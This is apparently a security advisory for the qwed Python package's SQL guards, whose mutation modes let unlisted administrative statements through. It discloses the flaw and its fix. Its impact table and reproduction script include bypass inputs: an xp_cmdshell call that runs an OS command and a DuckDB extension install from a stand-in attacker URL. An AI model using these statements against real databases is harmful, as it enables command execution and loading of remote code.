Impact
SQLVerifier(allow_destructive=True) and SQLGuard(allow_mutation=True) are meant for callers that run data changes (INSERT, UPDATE, DELETE, DROP). Administrative statements are meant to stay blocked in that mode through ADMIN_COMMANDS (COPY, ATTACH, PRAGMA, GRANT, and the like). But the mode skips the check that the statement is a known type, so administrative statements outside that list are admitted.
Checked on main @ ec50c2ac:
| Dialect | Query | verify_sql, allow_destructive=True |
SQLGuard(allow_mutation=True) |
|---|---|---|---|
| tsql | EXEC sp_executesql N'EXEC xp_cmdshell ''whoami''' (sqlglot 30.31.0; refused on 28.0.0) |
ADMIT | True |
| duckdb | INSTALL httpfs FROM 'http://evil.example/repo' |
ADMIT | True |
| mysql | KILL 1 |
ADMIT | True |
| postgres | CHECKPOINT |
ADMIT | True |
The first runs an operating-system command where xp_cmdshell is enabled; the second installs an extension from any URL.
Affected
qwed (PyPI) through 12.0.0, through these SDK options only: the API and batch items never set allow_destructive.
Reproduction
from qwed_new.core.sql_verifier import SQLVerifier
from qwed_new.core.diagnostics import admission_decision
from qwed_new.guards.sql_guard import SQLGuard
for dialect, q in [("duckdb", "INSTALL httpfs FROM 'http://evil.example/repo'"), ("mysql", "KILL 1"), ("postgres", "CHECKPOINT")]:
dr = SQLVerifier(allow_destructive=True).verify_sql(q, None, dialect=dialect)
print(dialect, q, admission_decision(dr).value, SQLGuard(allow_mutation=True).verify_query(q, dialect=dialect)["verified"])
Details
In _check_command_type (src/qwed_new/core/sql_verifier.py:945) the statement must be a known read-only type only when allow_destructive is off (:963, :986); in the mode, only ADMIN_COMMANDS (:649) is checked, by exact node type (:972). sqlglot reads INSTALL and KILL as node types of their own that are not listed, CHECKPOINT as a bare column, and, on 30.31.0, the EXEC sp_executesql statement as a Command. SQLGuard uses the same list (src/qwed_new/guards/sql_guard.py:56) and skips its root check when allow_mutation is set (:63).
Patches
Fixed in 13.0.0. Upgrade with pip install -U "qwed>=13.0.0". With allow_destructive or allow_mutation, a statement is admitted only when it is a query (SELECT ... INTO included); INSERT, UPDATE, DELETE, MERGE or TRUNCATE; or CREATE, DROP or ALTER of a table, view, index, sequence or schema. Anything else is refused (admin_command), and so is a change that writes or reads outside the database (INSERT OVERWRITE DIRECTORY, or a table created with a location, as external, with a storage engine that is not the database's own, or with a property that names a location or holds a URL). Brackets around a statement change nothing.
Workarounds
Do not use allow_destructive or allow_mutation for SQL a model writes, and run such SQL with a database user that has no administrative rights.
Advisory page: https://qwedai.tech/security/advisories/ghsa-4527-8wjv-h94g
